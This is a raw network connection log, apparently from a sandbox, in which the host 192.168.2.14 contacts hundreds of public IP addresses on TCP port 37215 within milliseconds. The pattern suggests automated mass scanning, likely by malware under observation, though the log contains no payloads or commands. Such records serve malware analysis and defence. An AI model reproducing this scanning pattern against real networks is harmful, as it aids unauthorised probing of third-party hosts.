Oct 8, 2024 20:34:53.543102980 CEST	48169	37215	192.168.2.14	156.54.206.164
Oct 8, 2024 20:34:53.543111086 CEST	48169	37215	192.168.2.14	41.45.102.8
Oct 8, 2024 20:34:53.543127060 CEST	48169	37215	192.168.2.14	197.225.179.126
Oct 8, 2024 20:34:53.543129921 CEST	48169	37215	192.168.2.14	41.176.158.217
Oct 8, 2024 20:34:53.543137074 CEST	48169	37215	192.168.2.14	41.98.205.250
Oct 8, 2024 20:34:53.543144941 CEST	48169	37215	192.168.2.14	156.105.246.171
Oct 8, 2024 20:34:53.543147087 CEST	48169	37215	192.168.2.14	197.65.226.125
Oct 8, 2024 20:34:53.543149948 CEST	48169	37215	192.168.2.14	41.109.25.251
Oct 8, 2024 20:34:53.543149948 CEST	48169	37215	192.168.2.14	197.177.41.177
Oct 8, 2024 20:34:53.543154001 CEST	48169	37215	192.168.2.14	197.149.190.149
Oct 8, 2024 20:34:53.543165922 CEST	48169	37215	192.168.2.14	197.16.134.220
Oct 8, 2024 20:34:53.543174982 CEST	48169	37215	192.168.2.14	41.227.254.70
Oct 8, 2024 20:34:53.543178082 CEST	48169	37215	192.168.2.14	197.116.153.54
Oct 8, 2024 20:34:53.543178082 CEST	48169	37215	192.168.2.14	197.176.120.79
Oct 8, 2024 20:34:53.543178082 CEST	48169	37215	192.168.2.14	197.124.105.184
Oct 8, 2024 20:34:53.543196917 CEST	48169	37215	192.168.2.14	41.12.107.67
Oct 8, 2024 20:34:53.543198109 CEST	48169	37215	192.168.2.14	156.105.83.101
Oct 8, 2024 20:34:53.543198109 CEST	48169	37215	192.168.2.14	197.102.100.52
Oct 8, 2024 20:34:53.543206930 CEST	48169	37215	192.168.2.14	156.104.181.75
Oct 8, 2024 20:34:53.543215036 CEST	48169	37215	192.168.2.14	197.217.110.11
Oct 8, 2024 20:34:53.543221951 CEST	48169	37215	192.168.2.14	197.168.228.219
Oct 8, 2024 20:34:53.543226004 CEST	48169	37215	192.168.2.14	197.53.136.233
Oct 8, 2024 20:34:53.543236971 CEST	48169	37215	192.168.2.14	41.240.220.5
Oct 8, 2024 20:34:53.543236971 CEST	48169	37215	192.168.2.14	156.25.144.184
Oct 8, 2024 20:34:53.543242931 CEST	48169	37215	192.168.2.14	197.78.38.216
Oct 8, 2024 20:34:53.543242931 CEST	48169	37215	192.168.2.14	156.210.253.176
Oct 8, 2024 20:34:53.543245077 CEST	48169	37215	192.168.2.14	41.106.41.150
Oct 8, 2024 20:34:53.543251991 CEST	48169	37215	192.168.2.14	41.166.84.138
Oct 8, 2024 20:34:53.543268919 CEST	48169	37215	192.168.2.14	197.1.206.18
Oct 8, 2024 20:34:53.543277979 CEST	48169	37215	192.168.2.14	197.67.22.17
Oct 8, 2024 20:34:53.543289900 CEST	48169	37215	192.168.2.14	156.188.229.120
Oct 8, 2024 20:34:53.543289900 CEST	48169	37215	192.168.2.14	41.253.244.138
Oct 8, 2024 20:34:53.543294907 CEST	48169	37215	192.168.2.14	197.134.40.158
Oct 8, 2024 20:34:53.543294907 CEST	48169	37215	192.168.2.14	197.203.114.65
Oct 8, 2024 20:34:53.543294907 CEST	48169	37215	192.168.2.14	41.247.54.204
Oct 8, 2024 20:34:53.543303967 CEST	48169	37215	192.168.2.14	156.5.209.13
Oct 8, 2024 20:34:53.543318033 CEST	48169	37215	192.168.2.14	156.213.249.99
Oct 8, 2024 20:34:53.543318033 CEST	48169	37215	192.168.2.14	197.203.135.162
Oct 8, 2024 20:34:53.543318033 CEST	48169	37215	192.168.2.14	41.241.159.209
Oct 8, 2024 20:34:53.543335915 CEST	48169	37215	192.168.2.14	197.231.192.52
Oct 8, 2024 20:34:53.543335915 CEST	48169	37215	192.168.2.14	197.6.239.215
Oct 8, 2024 20:34:53.543335915 CEST	48169	37215	192.168.2.14	156.43.127.20
Oct 8, 2024 20:34:53.543355942 CEST	48169	37215	192.168.2.14	197.136.252.169
Oct 8, 2024 20:34:53.543401957 CEST	48169	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:53.543468952 CEST	48169	37215	192.168.2.14	41.236.49.102
Oct 8, 2024 20:34:53.543468952 CEST	48169	37215	192.168.2.14	156.10.124.0
Oct 8, 2024 20:34:53.543471098 CEST	48169	37215	192.168.2.14	41.222.163.157
Oct 8, 2024 20:34:53.543472052 CEST	48169	37215	192.168.2.14	41.82.253.28
Oct 8, 2024 20:34:53.543473005 CEST	48169	37215	192.168.2.14	41.16.36.193
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	156.158.179.40
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	156.208.75.129
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	197.70.157.207
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	197.250.13.90
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	197.54.68.222
Oct 8, 2024 20:34:53.543474913 CEST	48169	37215	192.168.2.14	41.7.155.3
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	41.228.83.175
Oct 8, 2024 20:34:53.543477058 CEST	48169	37215	192.168.2.14	197.88.47.101
Oct 8, 2024 20:34:53.543478966 CEST	48169	37215	192.168.2.14	197.122.169.181
Oct 8, 2024 20:34:53.543479919 CEST	48169	37215	192.168.2.14	197.142.194.129
Oct 8, 2024 20:34:53.543477058 CEST	48169	37215	192.168.2.14	156.91.186.36
Oct 8, 2024 20:34:53.543474913 CEST	48169	37215	192.168.2.14	41.143.139.71
Oct 8, 2024 20:34:53.543477058 CEST	48169	37215	192.168.2.14	197.163.61.90
Oct 8, 2024 20:34:53.543476105 CEST	48169	37215	192.168.2.14	156.96.81.244
Oct 8, 2024 20:34:53.543478966 CEST	48169	37215	192.168.2.14	41.82.249.99
Oct 8, 2024 20:34:53.543477058 CEST	48169	37215	192.168.2.14	156.185.1.152
Oct 8, 2024 20:34:53.543479919 CEST	48169	37215	192.168.2.14	156.0.236.221
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	197.39.102.2
Oct 8, 2024 20:34:53.543478966 CEST	48169	37215	192.168.2.14	41.148.35.230
Oct 8, 2024 20:34:53.543477058 CEST	48169	37215	192.168.2.14	197.249.158.166
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	197.33.10.111
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	197.31.9.114
Oct 8, 2024 20:34:53.543479919 CEST	48169	37215	192.168.2.14	156.140.198.129
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	41.24.189.35
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	156.134.101.8
Oct 8, 2024 20:34:53.543479919 CEST	48169	37215	192.168.2.14	41.133.158.127
Oct 8, 2024 20:34:53.543476105 CEST	48169	37215	192.168.2.14	197.178.145.112
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	41.81.94.249
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	41.58.20.25
Oct 8, 2024 20:34:53.543499947 CEST	48169	37215	192.168.2.14	156.252.154.76
Oct 8, 2024 20:34:53.543479919 CEST	48169	37215	192.168.2.14	41.190.220.178
Oct 8, 2024 20:34:53.543473959 CEST	48169	37215	192.168.2.14	197.43.244.209
Oct 8, 2024 20:34:53.543474913 CEST	48169	37215	192.168.2.14	41.194.131.175
Oct 8, 2024 20:34:53.543504000 CEST	48169	37215	192.168.2.14	156.72.36.12
Oct 8, 2024 20:34:53.543479919 CEST	48169	37215	192.168.2.14	197.219.176.119
Oct 8, 2024 20:34:53.543479919 CEST	48169	37215	192.168.2.14	41.109.140.139
Oct 8, 2024 20:34:53.543507099 CEST	48169	37215	192.168.2.14	156.101.59.198
Oct 8, 2024 20:34:53.543479919 CEST	48169	37215	192.168.2.14	156.183.197.132
Oct 8, 2024 20:34:53.543509007 CEST	48169	37215	192.168.2.14	41.98.181.103
Oct 8, 2024 20:34:53.543509007 CEST	48169	37215	192.168.2.14	156.128.165.244
Oct 8, 2024 20:34:53.543534040 CEST	48169	37215	192.168.2.14	156.104.22.128
Oct 8, 2024 20:34:53.543534040 CEST	48169	37215	192.168.2.14	156.166.254.165
Oct 8, 2024 20:34:53.543534040 CEST	48169	37215	192.168.2.14	156.91.206.251
Oct 8, 2024 20:34:53.543534994 CEST	48169	37215	192.168.2.14	41.31.235.196
Oct 8, 2024 20:34:53.543536901 CEST	48169	37215	192.168.2.14	41.56.234.78
Oct 8, 2024 20:34:53.543541908 CEST	48169	37215	192.168.2.14	156.57.207.49
Oct 8, 2024 20:34:53.543548107 CEST	48169	37215	192.168.2.14	41.104.121.31
Oct 8, 2024 20:34:53.543548107 CEST	48169	37215	192.168.2.14	156.1.53.72
Oct 8, 2024 20:34:53.543549061 CEST	48169	37215	192.168.2.14	156.212.166.12
Oct 8, 2024 20:34:53.543555975 CEST	48169	37215	192.168.2.14	197.66.189.145
Oct 8, 2024 20:34:53.543555975 CEST	48169	37215	192.168.2.14	41.153.95.131
Oct 8, 2024 20:34:53.543555975 CEST	48169	37215	192.168.2.14	41.110.41.116
Oct 8, 2024 20:34:53.543555975 CEST	48169	37215	192.168.2.14	41.205.69.186
Oct 8, 2024 20:34:53.543560982 CEST	48169	37215	192.168.2.14	197.192.65.34
Oct 8, 2024 20:34:53.543579102 CEST	48169	37215	192.168.2.14	197.132.97.18
Oct 8, 2024 20:34:53.543589115 CEST	48169	37215	192.168.2.14	156.147.102.108
Oct 8, 2024 20:34:53.543596983 CEST	48169	37215	192.168.2.14	156.103.251.0
Oct 8, 2024 20:34:53.543605089 CEST	48169	37215	192.168.2.14	197.160.92.149
Oct 8, 2024 20:34:53.543606043 CEST	48169	37215	192.168.2.14	156.186.145.201
Oct 8, 2024 20:34:53.543612003 CEST	48169	37215	192.168.2.14	197.190.173.74
Oct 8, 2024 20:34:53.543620110 CEST	48169	37215	192.168.2.14	197.126.181.99
Oct 8, 2024 20:34:53.543625116 CEST	48169	37215	192.168.2.14	197.137.69.18
Oct 8, 2024 20:34:53.543633938 CEST	48169	37215	192.168.2.14	41.163.43.230
Oct 8, 2024 20:34:53.543638945 CEST	48169	37215	192.168.2.14	156.22.70.117
Oct 8, 2024 20:34:53.543639898 CEST	48169	37215	192.168.2.14	156.121.165.16
Oct 8, 2024 20:34:53.543656111 CEST	48169	37215	192.168.2.14	156.153.219.167
Oct 8, 2024 20:34:53.543659925 CEST	48169	37215	192.168.2.14	156.195.162.237
Oct 8, 2024 20:34:53.543664932 CEST	48169	37215	192.168.2.14	197.193.53.72
Oct 8, 2024 20:34:53.543673038 CEST	48169	37215	192.168.2.14	197.38.60.223
Oct 8, 2024 20:34:53.543679953 CEST	48169	37215	192.168.2.14	41.231.207.224
Oct 8, 2024 20:34:53.543682098 CEST	48169	37215	192.168.2.14	156.231.23.55
Oct 8, 2024 20:34:53.543690920 CEST	48169	37215	192.168.2.14	197.122.24.0
Oct 8, 2024 20:34:53.543694973 CEST	48169	37215	192.168.2.14	156.121.37.45
Oct 8, 2024 20:34:53.543700933 CEST	48169	37215	192.168.2.14	197.70.74.245
Oct 8, 2024 20:34:53.543706894 CEST	48169	37215	192.168.2.14	41.125.57.115
Oct 8, 2024 20:34:53.543711901 CEST	48169	37215	192.168.2.14	41.112.227.194
Oct 8, 2024 20:34:53.543714046 CEST	48169	37215	192.168.2.14	41.219.194.122
Oct 8, 2024 20:34:53.543714046 CEST	48169	37215	192.168.2.14	156.193.196.37
Oct 8, 2024 20:34:53.543718100 CEST	48169	37215	192.168.2.14	156.96.144.132
Oct 8, 2024 20:34:53.543724060 CEST	48169	37215	192.168.2.14	156.25.193.148
Oct 8, 2024 20:34:53.543734074 CEST	48169	37215	192.168.2.14	197.221.52.148
Oct 8, 2024 20:34:53.543740034 CEST	48169	37215	192.168.2.14	156.192.185.199
Oct 8, 2024 20:34:53.543750048 CEST	48169	37215	192.168.2.14	156.31.70.116
Oct 8, 2024 20:34:53.543751955 CEST	48169	37215	192.168.2.14	197.119.161.65
Oct 8, 2024 20:34:53.543759108 CEST	48169	37215	192.168.2.14	156.23.249.225
Oct 8, 2024 20:34:53.543771982 CEST	48169	37215	192.168.2.14	156.166.116.75
Oct 8, 2024 20:34:53.543795109 CEST	48169	37215	192.168.2.14	41.3.77.5
Oct 8, 2024 20:34:53.543891907 CEST	50174	37215	192.168.2.14	197.56.146.34
Oct 8, 2024 20:34:53.543919086 CEST	47522	37215	192.168.2.14	156.22.71.139
Oct 8, 2024 20:34:53.543931007 CEST	36226	37215	192.168.2.14	41.146.184.33
Oct 8, 2024 20:34:53.543931961 CEST	60822	37215	192.168.2.14	156.100.4.160
Oct 8, 2024 20:34:53.543951035 CEST	37412	37215	192.168.2.14	197.235.13.125
Oct 8, 2024 20:34:53.543951988 CEST	34620	37215	192.168.2.14	156.233.49.226
Oct 8, 2024 20:34:53.543951988 CEST	35254	37215	192.168.2.14	41.210.137.100
Oct 8, 2024 20:34:53.543952942 CEST	51428	37215	192.168.2.14	41.201.10.202
Oct 8, 2024 20:34:53.543956995 CEST	43498	37215	192.168.2.14	156.20.24.103
Oct 8, 2024 20:34:53.543965101 CEST	43678	37215	192.168.2.14	156.110.224.192
Oct 8, 2024 20:34:53.547717094 CEST	37215	48169	197.29.2.213	192.168.2.14
Oct 8, 2024 20:34:53.547733068 CEST	37215	48169	197.197.130.180	192.168.2.14
Oct 8, 2024 20:34:53.547748089 CEST	37215	48169	41.180.118.96	192.168.2.14
Oct 8, 2024 20:34:53.547775030 CEST	37215	48169	41.101.62.92	192.168.2.14
Oct 8, 2024 20:34:53.547781944 CEST	48169	37215	192.168.2.14	197.197.130.180
Oct 8, 2024 20:34:53.547785044 CEST	48169	37215	192.168.2.14	41.180.118.96
Oct 8, 2024 20:34:53.547789097 CEST	37215	48169	156.119.155.67	192.168.2.14
Oct 8, 2024 20:34:53.547791958 CEST	48169	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:53.547804117 CEST	37215	48169	41.253.97.168	192.168.2.14
Oct 8, 2024 20:34:53.547813892 CEST	48169	37215	192.168.2.14	41.101.62.92
Oct 8, 2024 20:34:53.547816992 CEST	37215	48169	156.16.162.9	192.168.2.14
Oct 8, 2024 20:34:53.547832966 CEST	37215	48169	197.49.8.108	192.168.2.14
Oct 8, 2024 20:34:53.547836065 CEST	48169	37215	192.168.2.14	156.119.155.67
Oct 8, 2024 20:34:53.547847033 CEST	48169	37215	192.168.2.14	41.253.97.168
Oct 8, 2024 20:34:53.547861099 CEST	37215	48169	197.11.103.109	192.168.2.14
Oct 8, 2024 20:34:53.547862053 CEST	48169	37215	192.168.2.14	156.16.162.9
Oct 8, 2024 20:34:53.547873974 CEST	48169	37215	192.168.2.14	197.49.8.108
Oct 8, 2024 20:34:53.547873974 CEST	37215	48169	197.19.20.158	192.168.2.14
Oct 8, 2024 20:34:53.547888994 CEST	37215	48169	197.64.46.11	192.168.2.14
Oct 8, 2024 20:34:53.547898054 CEST	48169	37215	192.168.2.14	197.11.103.109
Oct 8, 2024 20:34:53.547903061 CEST	37215	48169	197.44.234.96	192.168.2.14
Oct 8, 2024 20:34:53.547909975 CEST	48169	37215	192.168.2.14	197.19.20.158
Oct 8, 2024 20:34:53.547928095 CEST	48169	37215	192.168.2.14	197.64.46.11
Oct 8, 2024 20:34:53.547934055 CEST	48169	37215	192.168.2.14	197.44.234.96
Oct 8, 2024 20:34:53.547943115 CEST	37215	48169	197.67.37.109	192.168.2.14
Oct 8, 2024 20:34:53.547956944 CEST	37215	48169	197.148.84.111	192.168.2.14
Oct 8, 2024 20:34:53.547970057 CEST	37215	48169	41.235.138.140	192.168.2.14
Oct 8, 2024 20:34:53.547981024 CEST	48169	37215	192.168.2.14	197.67.37.109
Oct 8, 2024 20:34:53.547990084 CEST	48169	37215	192.168.2.14	197.148.84.111
Oct 8, 2024 20:34:53.548007965 CEST	37215	48169	41.141.39.137	192.168.2.14
Oct 8, 2024 20:34:53.548011065 CEST	48169	37215	192.168.2.14	41.235.138.140
Oct 8, 2024 20:34:53.548021078 CEST	37215	48169	41.55.74.90	192.168.2.14
Oct 8, 2024 20:34:53.548036098 CEST	37215	48169	156.42.190.57	192.168.2.14
Oct 8, 2024 20:34:53.548049927 CEST	37215	48169	156.162.179.119	192.168.2.14
Oct 8, 2024 20:34:53.548058033 CEST	48169	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:53.548058033 CEST	48169	37215	192.168.2.14	41.55.74.90
Oct 8, 2024 20:34:53.548063993 CEST	37215	48169	197.193.166.227	192.168.2.14
Oct 8, 2024 20:34:53.548079014 CEST	37215	43312	197.61.137.233	192.168.2.14
Oct 8, 2024 20:34:53.548079014 CEST	48169	37215	192.168.2.14	156.42.190.57
Oct 8, 2024 20:34:53.548080921 CEST	48169	37215	192.168.2.14	156.162.179.119
Oct 8, 2024 20:34:53.548094034 CEST	37215	42416	197.115.31.20	192.168.2.14
Oct 8, 2024 20:34:53.548104048 CEST	48169	37215	192.168.2.14	197.193.166.227
Oct 8, 2024 20:34:53.548108101 CEST	37215	58722	197.78.132.32	192.168.2.14
Oct 8, 2024 20:34:53.548120975 CEST	37215	39890	197.19.239.208	192.168.2.14
Oct 8, 2024 20:34:53.548135042 CEST	37215	48169	197.117.32.0	192.168.2.14
Oct 8, 2024 20:34:53.548150063 CEST	37215	48169	156.96.29.210	192.168.2.14
Oct 8, 2024 20:34:53.548163891 CEST	37215	48169	156.190.29.125	192.168.2.14
Oct 8, 2024 20:34:53.548170090 CEST	48169	37215	192.168.2.14	197.117.32.0
Oct 8, 2024 20:34:53.548177958 CEST	37215	48169	197.148.81.90	192.168.2.14
Oct 8, 2024 20:34:53.548191071 CEST	48169	37215	192.168.2.14	156.96.29.210
Oct 8, 2024 20:34:53.548191071 CEST	48169	37215	192.168.2.14	156.190.29.125
Oct 8, 2024 20:34:53.548192978 CEST	37215	48169	156.108.238.213	192.168.2.14
Oct 8, 2024 20:34:53.548207998 CEST	37215	48169	41.72.125.133	192.168.2.14
Oct 8, 2024 20:34:53.548211098 CEST	48169	37215	192.168.2.14	197.148.81.90
Oct 8, 2024 20:34:53.548223019 CEST	37215	48169	41.6.184.55	192.168.2.14
Oct 8, 2024 20:34:53.548229933 CEST	48169	37215	192.168.2.14	156.108.238.213
Oct 8, 2024 20:34:53.548240900 CEST	48169	37215	192.168.2.14	41.72.125.133
Oct 8, 2024 20:34:53.548243999 CEST	37215	48169	197.118.155.162	192.168.2.14
Oct 8, 2024 20:34:53.548259974 CEST	37215	48169	156.191.85.75	192.168.2.14
Oct 8, 2024 20:34:53.548261881 CEST	48169	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:53.548274040 CEST	37215	48169	41.48.165.164	192.168.2.14
Oct 8, 2024 20:34:53.548300028 CEST	37215	48169	41.206.221.4	192.168.2.14
Oct 8, 2024 20:34:53.548314095 CEST	48169	37215	192.168.2.14	41.48.165.164
Oct 8, 2024 20:34:53.548314095 CEST	37215	48169	197.155.238.96	192.168.2.14
Oct 8, 2024 20:34:53.548330069 CEST	37215	48169	156.92.126.87	192.168.2.14
Oct 8, 2024 20:34:53.548331976 CEST	48169	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:53.548341990 CEST	48169	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:53.548343897 CEST	37215	48169	156.199.193.96	192.168.2.14
Oct 8, 2024 20:34:53.548343897 CEST	48169	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:53.548346043 CEST	48169	37215	192.168.2.14	197.155.238.96
Oct 8, 2024 20:34:53.548360109 CEST	37215	48169	156.199.146.184	192.168.2.14
Oct 8, 2024 20:34:53.548363924 CEST	48169	37215	192.168.2.14	156.92.126.87
Oct 8, 2024 20:34:53.548372984 CEST	48169	37215	192.168.2.14	156.199.193.96
Oct 8, 2024 20:34:53.548373938 CEST	37215	48169	41.173.24.60	192.168.2.14
Oct 8, 2024 20:34:53.548388958 CEST	37215	48169	156.63.48.112	192.168.2.14
Oct 8, 2024 20:34:53.548398018 CEST	48169	37215	192.168.2.14	156.199.146.184
Oct 8, 2024 20:34:53.548407078 CEST	37215	48169	41.242.249.142	192.168.2.14
Oct 8, 2024 20:34:53.548410892 CEST	48169	37215	192.168.2.14	41.173.24.60
Oct 8, 2024 20:34:53.548419952 CEST	37215	48169	41.47.228.13	192.168.2.14
Oct 8, 2024 20:34:53.548433065 CEST	48169	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:53.548433065 CEST	37215	48169	156.195.141.158	192.168.2.14
Oct 8, 2024 20:34:53.548443079 CEST	48169	37215	192.168.2.14	41.242.249.142
Oct 8, 2024 20:34:53.548446894 CEST	37215	48169	156.143.211.8	192.168.2.14
Oct 8, 2024 20:34:53.548449993 CEST	48169	37215	192.168.2.14	41.47.228.13
Oct 8, 2024 20:34:53.548461914 CEST	37215	48169	156.209.41.239	192.168.2.14
Oct 8, 2024 20:34:53.548471928 CEST	48169	37215	192.168.2.14	156.195.141.158
Oct 8, 2024 20:34:53.548476934 CEST	37215	48169	197.60.215.97	192.168.2.14
Oct 8, 2024 20:34:53.548492908 CEST	48169	37215	192.168.2.14	156.209.41.239
Oct 8, 2024 20:34:53.548499107 CEST	37215	48169	156.89.68.228	192.168.2.14
Oct 8, 2024 20:34:53.548513889 CEST	37215	48169	41.128.17.114	192.168.2.14
Oct 8, 2024 20:34:53.548526049 CEST	37215	48169	41.216.80.115	192.168.2.14
Oct 8, 2024 20:34:53.548538923 CEST	37215	48169	156.88.55.106	192.168.2.14
Oct 8, 2024 20:34:53.548547983 CEST	48169	37215	192.168.2.14	41.128.17.114
Oct 8, 2024 20:34:53.548552990 CEST	37215	48169	197.199.22.219	192.168.2.14
Oct 8, 2024 20:34:53.548561096 CEST	48169	37215	192.168.2.14	41.216.80.115
Oct 8, 2024 20:34:53.548562050 CEST	48169	37215	192.168.2.14	156.143.211.8
Oct 8, 2024 20:34:53.548562050 CEST	48169	37215	192.168.2.14	197.60.215.97
Oct 8, 2024 20:34:53.548572063 CEST	37215	48169	156.200.232.130	192.168.2.14
Oct 8, 2024 20:34:53.548573017 CEST	48169	37215	192.168.2.14	156.89.68.228
Oct 8, 2024 20:34:53.548580885 CEST	48169	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:53.548590899 CEST	48169	37215	192.168.2.14	197.199.22.219
Oct 8, 2024 20:34:53.548604965 CEST	48169	37215	192.168.2.14	156.200.232.130
Oct 8, 2024 20:34:53.548788071 CEST	37215	48169	41.80.66.31	192.168.2.14
Oct 8, 2024 20:34:53.548800945 CEST	37215	48169	197.0.113.100	192.168.2.14
Oct 8, 2024 20:34:53.548815012 CEST	37215	48169	41.212.95.162	192.168.2.14
Oct 8, 2024 20:34:53.548829079 CEST	48169	37215	192.168.2.14	41.80.66.31
Oct 8, 2024 20:34:53.548836946 CEST	48169	37215	192.168.2.14	197.0.113.100
Oct 8, 2024 20:34:53.548841000 CEST	37215	48169	156.164.174.189	192.168.2.14
Oct 8, 2024 20:34:53.548856020 CEST	48169	37215	192.168.2.14	41.212.95.162
Oct 8, 2024 20:34:53.548872948 CEST	48169	37215	192.168.2.14	156.164.174.189
Oct 8, 2024 20:34:53.548890114 CEST	37215	48169	197.72.96.94	192.168.2.14
Oct 8, 2024 20:34:53.548904896 CEST	37215	48169	41.85.252.29	192.168.2.14
Oct 8, 2024 20:34:53.548917055 CEST	37215	48169	156.131.248.248	192.168.2.14
Oct 8, 2024 20:34:53.548928022 CEST	48169	37215	192.168.2.14	197.72.96.94
Oct 8, 2024 20:34:53.548930883 CEST	37215	48169	41.131.232.150	192.168.2.14
Oct 8, 2024 20:34:53.548935890 CEST	48169	37215	192.168.2.14	41.85.252.29
Oct 8, 2024 20:34:53.548944950 CEST	37215	48169	197.44.68.212	192.168.2.14
Oct 8, 2024 20:34:53.548959970 CEST	37215	48169	197.169.169.230	192.168.2.14
Oct 8, 2024 20:34:53.548964977 CEST	48169	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:53.548964977 CEST	48169	37215	192.168.2.14	41.131.232.150
Oct 8, 2024 20:34:53.548974991 CEST	37215	48169	41.253.181.180	192.168.2.14
Oct 8, 2024 20:34:53.548985004 CEST	48169	37215	192.168.2.14	197.44.68.212
Oct 8, 2024 20:34:53.548991919 CEST	48169	37215	192.168.2.14	197.169.169.230
Oct 8, 2024 20:34:53.549000978 CEST	37215	48169	197.54.69.98	192.168.2.14
Oct 8, 2024 20:34:53.549014091 CEST	37215	48169	197.13.206.248	192.168.2.14
Oct 8, 2024 20:34:53.549016953 CEST	48169	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:53.549027920 CEST	37215	48169	41.134.171.4	192.168.2.14
Oct 8, 2024 20:34:53.549035072 CEST	48169	37215	192.168.2.14	197.54.69.98
Oct 8, 2024 20:34:53.549046993 CEST	37215	48169	41.72.71.138	192.168.2.14
Oct 8, 2024 20:34:53.549050093 CEST	48169	37215	192.168.2.14	197.13.206.248
Oct 8, 2024 20:34:53.549067020 CEST	48169	37215	192.168.2.14	41.134.171.4
Oct 8, 2024 20:34:53.549077988 CEST	37215	48169	197.220.0.95	192.168.2.14
Oct 8, 2024 20:34:53.549088001 CEST	48169	37215	192.168.2.14	41.72.71.138
Oct 8, 2024 20:34:53.549092054 CEST	37215	48169	41.53.183.197	192.168.2.14
Oct 8, 2024 20:34:53.549105883 CEST	37215	48169	41.177.243.230	192.168.2.14
Oct 8, 2024 20:34:53.549119949 CEST	48169	37215	192.168.2.14	197.220.0.95
Oct 8, 2024 20:34:53.549132109 CEST	37215	48169	41.232.14.171	192.168.2.14
Oct 8, 2024 20:34:53.549145937 CEST	37215	48169	156.166.190.11	192.168.2.14
Oct 8, 2024 20:34:53.549146891 CEST	48169	37215	192.168.2.14	41.177.243.230
Oct 8, 2024 20:34:53.549160004 CEST	37215	48169	197.202.98.21	192.168.2.14
Oct 8, 2024 20:34:53.549170017 CEST	48169	37215	192.168.2.14	41.232.14.171
Oct 8, 2024 20:34:53.549175024 CEST	37215	48169	197.210.44.39	192.168.2.14
Oct 8, 2024 20:34:53.549176931 CEST	48169	37215	192.168.2.14	156.166.190.11
Oct 8, 2024 20:34:53.549189091 CEST	37215	48169	197.54.92.12	192.168.2.14
Oct 8, 2024 20:34:53.549192905 CEST	48169	37215	192.168.2.14	41.53.183.197
Oct 8, 2024 20:34:53.549194098 CEST	48169	37215	192.168.2.14	197.202.98.21
Oct 8, 2024 20:34:53.549204111 CEST	37215	48169	156.143.127.208	192.168.2.14
Oct 8, 2024 20:34:53.549218893 CEST	37215	58722	197.78.132.32	192.168.2.14
Oct 8, 2024 20:34:53.549222946 CEST	48169	37215	192.168.2.14	197.210.44.39
Oct 8, 2024 20:34:53.549223900 CEST	48169	37215	192.168.2.14	197.54.92.12
Oct 8, 2024 20:34:53.549232960 CEST	37215	48169	197.157.148.255	192.168.2.14
Oct 8, 2024 20:34:53.549245119 CEST	48169	37215	192.168.2.14	156.143.127.208
Oct 8, 2024 20:34:53.549247026 CEST	37215	48169	197.51.56.98	192.168.2.14
Oct 8, 2024 20:34:53.549257040 CEST	58722	37215	192.168.2.14	197.78.132.32
Oct 8, 2024 20:34:53.549261093 CEST	48169	37215	192.168.2.14	197.157.148.255
Oct 8, 2024 20:34:53.549269915 CEST	37215	48169	156.255.180.53	192.168.2.14
Oct 8, 2024 20:34:53.549279928 CEST	48169	37215	192.168.2.14	197.51.56.98
Oct 8, 2024 20:34:53.549285889 CEST	37215	48169	156.33.51.38	192.168.2.14
Oct 8, 2024 20:34:53.549303055 CEST	37215	48169	41.123.118.173	192.168.2.14
Oct 8, 2024 20:34:53.549316883 CEST	48169	37215	192.168.2.14	156.33.51.38
Oct 8, 2024 20:34:53.549321890 CEST	48169	37215	192.168.2.14	156.255.180.53
Oct 8, 2024 20:34:53.549340010 CEST	37215	48169	156.41.157.113	192.168.2.14
Oct 8, 2024 20:34:53.549343109 CEST	48169	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:53.549355030 CEST	37215	48169	156.243.42.146	192.168.2.14
Oct 8, 2024 20:34:53.549369097 CEST	37215	48169	197.98.75.148	192.168.2.14
Oct 8, 2024 20:34:53.549380064 CEST	48169	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:53.549381971 CEST	37215	39890	197.19.239.208	192.168.2.14
Oct 8, 2024 20:34:53.549386024 CEST	48169	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:53.549403906 CEST	48169	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:53.549463987 CEST	39890	37215	192.168.2.14	197.19.239.208
Oct 8, 2024 20:34:53.550084114 CEST	37215	43312	197.61.137.233	192.168.2.14
Oct 8, 2024 20:34:53.550174952 CEST	43312	37215	192.168.2.14	197.61.137.233
Oct 8, 2024 20:34:53.551403046 CEST	37215	42416	197.115.31.20	192.168.2.14
Oct 8, 2024 20:34:53.551536083 CEST	42416	37215	192.168.2.14	197.115.31.20
Oct 8, 2024 20:34:53.551636934 CEST	37215	43678	156.110.224.192	192.168.2.14
Oct 8, 2024 20:34:53.551678896 CEST	37215	35254	41.210.137.100	192.168.2.14
Oct 8, 2024 20:34:53.551692009 CEST	37215	34620	156.233.49.226	192.168.2.14
Oct 8, 2024 20:34:53.551723003 CEST	37215	43498	156.20.24.103	192.168.2.14
Oct 8, 2024 20:34:53.551737070 CEST	37215	51428	41.201.10.202	192.168.2.14
Oct 8, 2024 20:34:53.551749945 CEST	37215	37412	197.235.13.125	192.168.2.14
